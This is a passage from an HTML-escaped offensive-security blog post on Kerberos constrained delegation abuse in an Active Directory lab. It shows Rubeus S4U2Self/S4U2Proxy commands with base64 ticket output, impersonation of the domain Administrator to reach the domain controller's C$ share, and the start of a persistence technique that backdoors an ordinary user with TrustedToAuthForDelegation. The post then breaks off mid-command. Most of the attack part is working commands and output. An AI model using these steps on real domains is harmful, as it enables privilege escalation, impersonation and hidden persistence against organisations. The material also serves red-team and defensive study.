      yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
      BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
      b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
      8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
      BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
      rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
      wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
      RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
      04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
      AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
      ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=

[*] Ticket written to srv.tgt


  ServiceName           :  krbtgt/windomain.local
  ServiceRealm          :  WINDOMAIN.LOCAL
  UserName              :  srv$
  UserRealm             :  WINDOMAIN.LOCAL
  StartTime             :  9/25/2020 6:05:07 PM
  EndTime               :  9/26/2020 4:05:07 AM
  RenewTill             :  10/2/2020 6:05:07 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  +tOIJhvW49dlmW3XdmSWGw==
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Then this TGT will allow us to initiate the &lt;strong&gt;S4U2Self&lt;/strong&gt;. Then the &lt;strong&gt;S4U2Proxy&lt;/strong&gt; will intervene as explained previously for the &lt;em&gt;CIFS&lt;/em&gt; service (be aware of &lt;em&gt;/altservice:cifs&lt;/em&gt;) :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: &apos;srv$@WINDOMAIN.LOCAL&apos;
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for &apos;Administrator@WINDOMAIN.LOCAL&apos; to &apos;srv$@WINDOMAIN.LOCAL&apos;
[*] base64(ticket.kirbi):

      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
      QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==

[+] Ticket successfully imported!
[*] Impersonating user &apos;Administrator&apos; to target SPN &apos;TIME/DC&apos;
[*]   Final ticket will be for the alternate service &apos;cifs&apos;
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: &apos;TIME/DC&apos;
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name &apos;cifs&apos;
[*] base64(ticket.kirbi) for SPN &apos;cifs/dc&apos;:

      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
      TE9DQUypFTAToAMCAQKhDDAKGwRjaWZzGwJkYw==
[+] Ticket successfully imported!

&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We do have our service ticket for &lt;strong&gt;CIFS/DC&lt;/strong&gt; in the name of &lt;strong&gt;WINDOMAIN\Administrator&lt;/strong&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; klist
...
#1&amp;gt;     Client: Administrator @ WINDOMAIN.LOCAL
        Server: cifs/dc @ WINDOMAIN.LOCAL
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -&amp;gt; forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 9/25/2020 18:05:46 (local)
        End Time:   9/26/2020 4:05:07 (local)
        Renew Time: 10/2/2020 18:05:07 (local)
        Session Key Type: AES-128-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let’s test it out:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt;dir \\DC\C$
 Volume in drive \\DC\C$ is Windows 2019
 Volume Serial Number is 28C8-9A14

 Directory of \\DC\C$

09/27/2020  08:50 AM    &amp;lt;DIR&amp;gt;          PerfLogs
09/27/2020  08:06 AM    &amp;lt;DIR&amp;gt;          Program Files
09/27/2020  08:00 AM    &amp;lt;DIR&amp;gt;          Program Files (x86)
10/20/2020  01:07 PM    &amp;lt;DIR&amp;gt;          tmp
09/27/2020  08:00 AM    &amp;lt;DIR&amp;gt;          Users
10/20/2020  01:26 PM    &amp;lt;SYMLINKD&amp;gt;     vagrant [\\vboxsvr\vagrant]
10/20/2020  01:10 PM    &amp;lt;DIR&amp;gt;          Windows
               0 File(s)              0 bytes
               7 Dir(s)  36,839,563,264 bytes free
&lt;/code&gt;&lt;/pre&gt;

&lt;h1 id=&quot;persistence&quot;&gt;&lt;a name=&quot;Persistence&quot;&gt;&lt;/a&gt;Persistence&lt;/h1&gt;

&lt;p&gt;To set the &lt;strong&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/strong&gt; attribute, we need the &lt;strong&gt;SeEnableDelegationPrivilege&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Fortunately Microsoft protect any user from setting this flag unless they are listed in the User Rights Assignment setting “Enable computer and user accounts to be trusted for delegation” (SeEnableDelegationPrivilege) on the Domain Controller. So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins) have the right to modify these delegation settings.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;An interesting persistence method consists, from a compromised user with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SeEnableDelegationPrivilege&lt;/code&gt; privilege, in setting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/code&gt; value on another lambda compromised user that can be delegated, and to edit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mDS-AllowedToDelegateTo&lt;/code&gt; field with the SPN &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CIFS/DC&lt;/code&gt; for example, allowing to replay the attack.&lt;/p&gt;

&lt;h2 id=&quot;t2a4d-on-an-arbitrary-domain-user&quot;&gt;T2A4D on an arbitrary domain user&lt;/h2&gt;

&lt;p&gt;You have compromised a privileged user, however the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory&quot;&gt;protected groups&lt;/a&gt; are supervised by the SOC, they have their security descriptors reset by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SDProp&lt;/code&gt; mechanism (&lt;a href=&quot;https://social.technet.microsoft.com/wiki/contents/articles/22331.adminsdholder-protected-groups-and-security-descriptor-propagator.aspx&quot;&gt;AdminSDHolder&lt;/a&gt;), etc, so many elements that make you say that you would like to backdoor a user who can spend as much time as possible under the radars (let’s hope however that a delegation to a DC is supervised by the SOC).&lt;/p&gt;

&lt;p&gt;Let’s play this method in our lab. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bleponge&lt;/code&gt; user is the most banal domain user, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin01&lt;/code&gt; is what you have been sweating for the last few days:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WMIC&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;OS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Microsoft&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Windows&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Education&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;N&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;C:\Windows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\Device\Harddisk0\Partition2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;whoami&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain\admin01&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;admin01&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Group&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Global&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Admins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Select-String&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Group&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Global&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;memberships&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Domain&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NORMAL_ACCOUNT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ble.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Leponge&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;USER_OBJECT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADUser&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bleponge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADAccountControl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-TrustedToAuthForDelegation&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$True&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
